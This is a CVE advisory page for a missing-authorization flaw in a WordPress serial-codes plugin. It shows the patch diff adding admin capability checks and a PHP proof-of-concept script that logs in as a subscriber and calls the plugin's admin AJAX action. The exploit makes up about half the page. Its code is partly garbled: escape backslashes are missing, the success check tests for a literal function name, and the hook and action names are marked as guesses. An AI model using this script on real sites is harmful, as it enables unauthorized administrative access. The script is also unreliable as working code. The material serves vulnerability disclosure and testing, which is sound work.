CVE-2025-62091: Serial Codes Generator and Validator with WooCommerce Support <= 2.8.2 – Missing Authorization (serial-codes-generator-and-validator)

--- a/serial-codes-generator-and-validator/sngmbh-serial-codes-validator.php
+++ b/serial-codes-generator-and-validator/sngmbh-serial-codes-validator.php
@@ -3,7 +3,7 @@
  * Plugin Name: Serial Codes Generator and Validator with WooCommerce Support
  * Plugin URI: https://vollstart.com/serial-codes-validator-premium/docs/
  * Description: You can create and generate serials and codes. Print them on your products boxes or manuals. Your customer can check if the code is valid on your website. The Premium allows you also to activate user registration and more. This allows your user to register them self to a serial number.
- * Version: 2.8.2
+ * Version: 2.8.4
  * Author: Vollstart
  * Author URI: https://vollstart.com
  * Text Domain: sngmbh-serial-codes-validator
@@ -20,7 +20,7 @@
 include(plugin_dir_path(__FILE__)."init_file.php");

 if (!defined('SNGMBH_SERIALCODES_VALIDATOR_PLUGIN_VERSION'))
-	define('SNGMBH_SERIALCODES_VALIDATOR_PLUGIN_VERSION', '2.8.2');
+	define('SNGMBH_SERIALCODES_VALIDATOR_PLUGIN_VERSION', '2.8.4');
 if (!defined('SNGMBH_SERIALCODES_VALIDATOR_PLUGIN_DIR_PATH'))
 	define('SNGMBH_SERIALCODES_VALIDATOR_PLUGIN_DIR_PATH', plugin_dir_path(__FILE__));

@@ -484,7 +484,8 @@
 				}
 			}
 		} else {
-			$this->isAllowedAccess = true;
+			// Standard: Nur Administratoren haben Zugriff
+			$this->isAllowedAccess = current_user_can('manage_options');
 		}
 		return $this->isAllowedAccess;
 	}
@@ -495,18 +496,19 @@
 	}

 	public function executeAdminSettings($a=0, $data=null) {
-		if ($this->isUserAllowedToAccessAdminArea()) {
-			if ($a === 0 && !SNGMBH::issetRPara('a_sngmbh')) return wp_send_json_success("a not provided");
+		if (!$this->isUserAllowedToAccessAdminArea()) {
+			return wp_send_json_error("Access denied", 403);
+		}
+		if ($a === 0 && !SNGMBH::issetRPara('a_sngmbh')) return wp_send_json_success("a not provided");

-			if ($data == null) {
-				$data = SNGMBH::issetRPara('data') ? SNGMBH::getRequestPara('data') : [];
-			}
-			if ($a === 0 || empty($a) || trim($a) == "") {
-				$a = SNGMBH::getRequestPara('a_sngmbh');
-			}
-			do_action( $this->_do_action_prefix.'executeAdminSettings', $a, $data );
-			return $this->getAdmin()->executeJSON($a, $data, false, false);
+		if ($data == null) {
+			$data = SNGMBH::issetRPara('data') ? SNGMBH::getRequestPara('data') : [];
 		}
+		if ($a === 0 || empty($a) || trim($a) == "") {
+			$a = SNGMBH::getRequestPara('a_sngmbh');
+		}
+		do_action( $this->_do_action_prefix.'executeAdminSettings', $a, $data );
+		return $this->getAdmin()->executeJSON($a, $data, false, false);
 	}

 	public function executeFrontend_a() {
@@ -514,6 +516,9 @@
 	}

 	public function executeWCBackend() {
+		if (!$this->isUserAllowedToAccessAdminArea()) {
+			return wp_send_json_error("Access denied", 403);
+		}
 		if (!SNGMBH::issetRPara('a_sngmbh')) return wp_send_json_success("a_sngmbh not provided");
 		$data = SNGMBH::issetRPara('data') ? SNGMBH::getRequestPara('data') : [];
 		return $this->getWC()->executeJSON(SNGMBH::getRequestPara('a_sngmbh'), $data, false, false);

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62091 - Serial Codes Generator and Validator with WooCommerce Support <= 2.8.2 - Missing Authorization

<?php

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to obtain WordPress session cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
]));
$response = curl_exec($ch);
preg_match_all('/^Set-Cookie:s*([^;]*)/mi', $response, $matches);
$cookies = implode('; ', $matches[1]);
curl_close($ch);

if (empty($cookies)) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Exploit the missing authorization to call an admin function.
// The 'action' parameter must match the plugin's registered AJAX hook for executeAdminSettings.
// The 'a_sngmbh' parameter specifies the internal administrative action to execute.
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'sngmbh_execute_admin_settings', // Example AJAX hook name
    'a_sngmbh' => 'get_serial_codes_list', // Example internal admin action
    'data' => '{}' // Optional data payload
]));
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Check the response
if ($http_code == 200 && strpos($response, 'wp_send_json_success') !== false) {
    echo "VULNERABLE: Successfully executed admin action as a subscriber.n";
    echo "Response snippet: " . substr($response, -500) . "n";
} else if ($http_code == 403) {
    echo "PATCHED: Access denied (HTTP 403).n";
} else {
    echo "Unexpected response. HTTP Code: $http_coden";
}

?>